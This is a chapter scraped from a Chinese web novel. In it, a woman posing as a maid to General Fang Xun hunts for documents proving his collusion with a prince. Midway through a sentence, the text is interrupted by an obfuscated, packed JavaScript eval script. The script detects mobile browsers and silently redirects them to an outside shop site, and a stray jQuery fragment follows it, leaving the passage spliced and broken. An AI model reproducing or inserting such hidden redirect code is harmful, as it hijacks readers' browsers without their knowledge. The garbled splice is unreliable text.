苏元意的一壶新茶刚泡出来,初夏就回来了。
“初夏姐姐,你看看我泡的茶可以吗?”
初夏接过茶盏,先是看了看茶色,而后又轻嗅其味,最后浅尝了一口,答道:“妹妹聪慧,这茶泡得很不错。”
她话落,放下茶盏,叮嘱道:“将军要回来了,等会我先给你示范一遍,你在边上看着,以后……就由你来做。”
苏元意应了一声“是。”
很快,院外传来沉稳的脚步声,以及下人们一声声的将军好,初夏带着苏元意迎了上去,她先是对着方询欠身行礼,而后就要上前去解他的外袍,苏元意站在初夏身后默默记着。
方询的目光越过面前的初夏看向苏元意,他忽而抬手制止初夏的动作,张口道:“你来。”
他没有说名字,但在场的所有人都知道方询说得是苏元意。
苏元意上前帮方询解去外袍,整个过程中,她都能感受到方询那极具侵略性的目光,她没有抬头看他,而是眼观鼻,鼻观心的用浸湿的绢布帮他净面,擦拭时,她的指尖时不时会碰上他的脸颊。
这个男人全身上下似乎没有一处不硬,就连脸颊也是坚硬如铁,他生得很高,哪怕是坐下也几乎和苏元意一般高了。
方询盯着苏元意的脸,她每一个抬袖的动作都能带来阵阵清香,隔着绢布轻试他脸颊的手也如云朵般柔软,他明白她不是她,可哪怕是假的,他也想要留下。
方询洗漱过后,换过一身在家穿的常服坐在案前查看军务,苏元意适时奉上一盏热茶,正要退下,方询却忽而叫住了她:“留下侍候笔墨。”
“是。”
苏元意心中有几分不解,初夏白日提醒过她,说方询在书房处理军务时,不喜外人在场,下人们奉上一杯茶后就要主动退下去,立在外室等着方询的传唤,怎么轮到她就要侍候笔墨了?
不过她也没问,神色如常地立在方询身边研磨。
方询看了一份军报后随意丢至一边,状似无意地问:“识字吗?”
“奴婢认得字。”
“认字。”方询抬眸看了她一眼,“看来你的家境应当不错,为何会沦落到亲自出门采菇?”
苏元意按照司马安为她准备的剧本,回道:“奴婢是宜安人,在楚宁还未打仗时,一位从宁国来的商人路过我家,我父与他相谈甚欢,听闻他还没有娶妻就把我许给了他,我就跟着我丈夫回了宁国,后来宁楚两国起了战事……”
苏元意说到这儿声音有几分哽咽,“我夫家的人看不惯我一个楚女,时常借此欺辱我,后来我丈夫去了,他们就将我赶出了家门,无奈之下我回了宜安……可,可我家镇子上的人都在战火中死了,我父母兄弟也不知所踪,无奈之下我就带着妹妹来了江宁讨生活。”
方询瞧了一眼她指腹上的薄茧,道:“你一个姑娘能从宜安走到江宁,当真是厉害。”
苏元意浅浅一笑:“托将军的洪福,我想这一定是上苍的安排,注定要让我遇上将军。”
方询没答她,只问:“你恨宁国吗?”
苏元意顿了顿没说话,良久,才垂眼低声说:“奴婢不知。”
方询冷笑一声,“宁国人欺你辱你,毁你家园,你说你不知?”
苏元意眼中流露出几分迷茫,“可……可宁国也有我爱的人,也有善良的人。”
方询冷哼了一声,不说话了。
看起来像是生气了,但苏元意并不在意,她不是要他的喜欢,她只要他的信任,所以他生气也好,瞧不起她也罢,只要能让他相信她不是敌人派来的奸细就行。
她没有忘记司马安的话,一半真一半假,太完美,太真的谎言都不是好的谎言。
时间一分一秒的过去,苏元意磨得手都累了,阿昌不是说方询?戌时准时入睡吗?难道还没到戌时?
方询忽而递给她一道折子,出声道:“把这份文件放进后面第二排第四个的格子里。”
苏元意连忙接过,折子还没有合上,哪怕她不是有意的,也被迫看见了宁国两个字,这折子里写的似乎是对付宁国的法子。
她垂下眼帘,神色如常地把折子合上,转身把它放进了方询所说的地方,这一个格子里放着的都是类似的折子,折子侧面的左下角都写了宁字。
这里好像放得都是有关宁国的折子与信函,她的心不可避免的动了,那这儿会有四皇子与方询勾连的证据吗?
她激动万分,但不敢表露出一丝一毫的破绽,再转过身就见方询已经起身正要抬脚往外走,她连忙欠身恭送,却见方询又停下脚步,回头看她:“还不跟上?”
苏元意闻言连忙跟了过去。
“你是我的贴身丫鬟。”方询说,“什么叫贴身?我在哪,你在哪。”
苏元意:“奴婢明白了。”
方询不算一个难伺候的人,苏元意跟着他去了卧房,服侍着他睡下后,想着这下自己应该能走了吧,可又被方询拉住了。
苏元意又惊又羞:“将……将军,我们之前说好的。”
方询盯着她的脸,说,“不碰你,那儿有张小塌你睡在那儿,明儿准时叫我起来。”
苏元意松了口气,应了一声。
苏元意躺在另一边的小塌上,却无论如何都睡不着,可她也不敢翻来覆去的发出响动,只是直挺挺的躺在床上干瞪着漆黑的天花板,竭力控制着自己的呼吸,脑海中不由自主的想到了她在书房看到的情报,她知道那可能是一个陷阱,可她太好奇了,那里……那里会不会真的藏有真正的证据?
只要能拿到它,她就可以为苏家平反了。
苏元意想着想着睡了过去,她这一觉直睡到天际泛白,梦中的她迷迷糊糊的感觉床边似有人影闪过,她猛地睁开眼就瞧见屋里站着三位丫鬟伺候着方询更换朝服。
她心头一紧,连滚带爬地从小塌上下来跪在方询脚边,道:“大将军,奴婢该死,竟睡过了时辰。”
方询:“起来吧。”
方询垂眸看着她站了起来,因为刚刚起床
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144618|148837||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的原因,乌黑的头发有几分凌乱,一缕头发从脑后高高的翘了起来,额前的碎发随意地落在脸颊两边,衣服也有点皱皱巴巴的,可这些不完美的地方却丝毫不会影响她的美,反而给她清冷脱尘的气质添了几分人气与亲和。
让人忍不住地想要靠近,想要为她整理凌乱的发丝。
方询抬手帮她把落在脸边的碎发理至耳后,“昨夜还让你唤我起床,我若真等你,怕是连上早朝都要迟了。”
苏元意红了脸,小声说:“对……对不起将军,可能是昨儿太累了,今儿就睡过了。”
苏元意在清醒的时候可以做到尽善尽美,可她从前毕竟是小姐,从未做过一天的丫鬟,哪怕嫁入了萧府,每日也有兰香唤她起床,而不是她自己数着睡觉的时辰。
方询:“这么说还是本将军累着你了?”
苏元意低头不答,方询看了她一眼拂袖而去,方询走后,初夏就让她回去收拾收拾自己,再去厨房吃饭。
吃饭时,初夏恰巧也在,她想到还在郊外等着自己的兰香,就问道:“初夏姐姐,咱们多久可以出府一趟啊?我家中还有个妹妹等着我,我想去看看她,和她说一声我现在在将军府当差。”
初夏喝了口粥,神色平静地说:“咱们这些伺候将军的婢女不能出府,像你这种新来的,连这个院子都不能出。”
苏元意登时愣住了:“不能出府?!”
她在宁国从未听过谁家婢女不能出府的规矩,若说真有……那也……也只有皇上身边的宫女在归家前不能出宫,可官宦人家的婢女哪个不能出去?
“嗯。”初夏很平静,“不能出府,你出府的那一天就是你彻底离开这儿的那一天。”
初夏盯着她说:“你不会期待有这么一天的。”
一整个上午,苏元意都有几分浑浑噩噩,不能出去她还如何和兰香联系,和司马安的人联系?
不,一定还有别的办法。
苏元意经过一上午的观察,发现像她和初夏雪雁这样贴身侍奉的婢女不能出去,需要什么东西只需和将军身边的小厮说一声就行,厨房的食材,日常的所需也是由管家派专人每日一送,东西进院时还会经过门口兵士们的严格检查,且有院里的人接进去,院外的人一律不准进入,能自由行走的也只有深得方询信任的小厮与兵士。
防守的这般严密,她就算得到四皇子与方询勾结的证据,也送不出去。
吃过午饭,苏元意在廊下浇花,就听前院忽而传来女子凄厉的叫喊声,苏元意吓了一跳,放下水壶就往前院去了,只见初夏神色冷漠地站在主屋前,阶下一位眼生的丫鬟正在被兵士用刑,厚厚的带着倒刺的木板一下又一下的朝她的双腿脊背上打去,看架势似是要把人打死。
苏元意还没走近就闻到了一股浓郁的血腥味,她用手绢掩着口鼻,上前颤声问:“初夏姐姐,她……她犯了什么错要这样打她?”
初夏回头看她,脸上的神色似笑非笑:“她看了不该看的东西,还妄想传出去。”